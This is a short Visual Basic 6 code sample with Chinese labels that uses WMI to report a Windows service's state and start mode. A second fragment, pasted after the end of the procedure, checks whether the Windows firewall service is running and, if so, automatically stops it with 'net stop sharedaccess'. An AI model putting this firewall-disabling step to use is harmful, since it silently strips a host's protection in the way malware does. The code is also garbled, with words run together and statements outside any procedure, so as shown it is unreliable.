程序代码
Private Sub Command1_Click()
On Error GoTo err
Dim objSWbemLocator As SWbemLocator
Dim objSWbemServices As SWbemServices
Dim objSWbemObjectSet AsSWbemObjectSet
Dim objSWbemObject As SWbemObject
Dim strComputer As String,strNameSpace AsString,strClass As String
Dim sstr As String
sstr = Text2.Text
'判断服务是否启动
strComputer = "."
strNameSpace = "root/cimv2"
strClass = "Win32_Service"
Set objSWbemLocator =CreateObject("WbemScripting.SWbemLocator")
Set objSWbemServices =objSWbemLocator.ConnectServer(strComputer,strNameSpace)
Set objSWbemObjectSet =objSWbemServices.ExecQuery("Select * FROM " & strClass &" where name='" & sstr& "'")
For Each objSWbemObject InobjSWbemObjectSet
Text1.Text = "服务状态:" + objSWbemObject.State _
+ Chr(13) + Chr(10) + "启动方式:" +objSWbemObject.StartMode
Next
Exit Sub
err:
Text1.Text = "服务名不对!"
End Sub
For Each objSWbemObject InobjSWbemObjectSet
Text1.Text = "系统防火墙状态:" +objSWbemObject.State + " 启动方式:" +objSWbemObject.StartMode + ".."
fwstatus = objSWbemObject.State
Next
If fwstatus = "Running" Then
Text1.Text = "系统防火墙开启,将被自动关闭......"
Shell "net stopsharedaccess"
End If